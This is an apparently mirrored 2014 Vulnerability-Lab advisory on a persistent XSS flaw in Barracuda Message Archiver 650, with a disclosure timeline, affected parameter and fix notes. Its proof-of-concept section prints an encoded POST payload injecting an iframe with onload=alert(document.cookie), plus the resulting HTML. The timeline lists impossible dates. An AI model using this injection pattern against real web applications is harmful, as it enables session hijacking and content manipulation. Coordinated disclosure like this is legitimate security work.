Barracuda Networks Message Archiver 650 – Persistent Cross-Site Scripting

  • 作者: Vulnerability-Lab
    日期: 2014-07-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34103/
  • Document Title:
    ===============
    Barracuda Networks Message Archiver 650 - Persistent Input Validation Vulnerability
    
    
    References (Source):
    ====================
    http://www.vulnerability-lab.com/get_content.php?id=751
    
    https://www.barracuda.com/support/knowledgebase/501600000013lXe
    Barracuda Networks Security ID (BNSEC): 703
    
    BNSEC-00703: Remote authenticated persistent XSS in Barracuda Message Archiver v3.2
    Solution #00006604
    
    
    Release Date:
    =============
    2014-07-18
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    751
    
    
    Common Vulnerability Scoring System:
    ====================================
    3.6
    
    
    Product & Service Introduction:
    ===============================
    The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively 
    index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By 
    leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable 
    administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.
    
    * Comprehensive archiving
    * Exchange stubbing
    * Search and retrieval
    * Policy management
    * Intelligent Storage Manager
    * Roles-based interface
    * Reporting and statistics
    
    The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an 
    easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all 
    email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered 
    by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy 
    definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to 
    decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform 
    to protect against any potential security vulnerabilities.
    
    (Copy of the Vendor Homepage: http://www.barracudanetworks.com )
    
    
    Abstract Advisory Information:
    ==============================
    The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.2 Appliance Application.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2013-11-08:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
    2013-11-10:	Vendor Notification (Barracuda Networks - Bug Bounty Program)
    2013-11-13:	Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)
    2014-06-31:	Vendor Fix/Patch (Barracuda Networks Developer Team - Reward: $$$)
    2014-00-00:	Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Affected Product(s):
    ====================
    Barracuda Networks
    Product: Message Archiver 650 - Appliance Application 3.1.0.914
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Technical Details & Description:
    ================================
    A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.2 appliance web-application.
    The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable application module.
    
    The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domänen` module. Remote attackers are able to inject own malicious script 
    codes in the vulnerable domain_list_table-r0 values. The execution of the script code occurs in the domain_list_table-r0 and user_domain_admin:1 appliance 
    application response context. The request method is POST and the attack vector is persistent on the application-side of the barracuda networks message 
    archiver web appliance. 
    
    The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
    Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation 
    of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.
    
    Request Method(s):
    				[+] POST
    
    Vulnerable Module(s):
    				[+] Benutzer > Neu Anlegen > Rolle: Auditor
    
    Vulnerable Input(s):
    				[+] Domänen
    
    Vulnerable Parameter(s):
    				[+] domain_list_table-r0
    
    Affected Module(s):
    				[+] Rolle: Auditor Listing
    
    
    Proof of Concept (PoC):
    =======================
    The persistent web vulnerability can be exploited by remote attackers with low privileged or restricted application user account and low required user inter action. 
    For security demonstration or to reproduce the remote web vulnerability follow the provided information and steps below to continue.
    
    --- PoC Session Logs [POST] ---
    ajax_bc_sub=addDomain
    domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src
    %3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C
    user=guest
    password=75361da9533223d9685576d10bd6aa02
    et=
    1352520628
    locale=de_DE
    realm=
    auth_type=Local
    primary_tab=USERS
    secondary_tab=per_user_add_update
    
    
    PoC (URL): 
    http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
    primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM
    
    
    PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)
    <td style="vertical-align:middle;text-align:left;white-space:nowrap">
     %20​​​​​">​​​​​<iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <="" 
    "="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1" 
    id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>
    
    
    Reference(s):
    http://archiver.ptest.localhost:3378/cgi-mod/index.cgi
    
    http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
    primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM_0ne
    
    
    
    Solution - Fix & Patch:
    =======================
    The vulnerability can be patched by a secure parse and encode of the vulnerable affected listing in the domain_list_table-r0 parameter(s).
    
    Barracuda Networks Appliance: Advanced >Firmware Updates Page
    https://www.barracuda.com/support/knowledgebase/501600000013lXe
    
    
    Security Risk:
    ==============
    The security risk of the application-side input validation web vulnerability is estimated as medium.
    
    
    Credits & Authors:
    ==================
    Vulnerability Laboratory [Research Team]- Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
    expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
    are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
    if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
    of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
    any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
    
    Domains:www.vulnerability-lab.com 	- www.vuln-lab.com			 		- www.evolution-sec.com
    Contact:admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	 		- admin@evolution-sec.com
    Section:dev.vulnerability-db.com	 	- forum.vulnerability-db.com 		 		- magazine.vulnerability-db.com
    Social:	twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	 		- youtube.com/user/vulnerability0lab
    Feeds:	vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php 		- vulnerability-lab.com/rss/rss_news.php
    Programs: vulnerability-lab.com/submit.php	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/
    
    Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
    electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
    Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
    is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
    (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
    
    				Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
    
    
    -- 
    VULNERABILITY LABORATORY RESEARCH TEAM
    DOMAIN: www.vulnerability-lab.com
    CONTACT: research@vulnerability-lab.com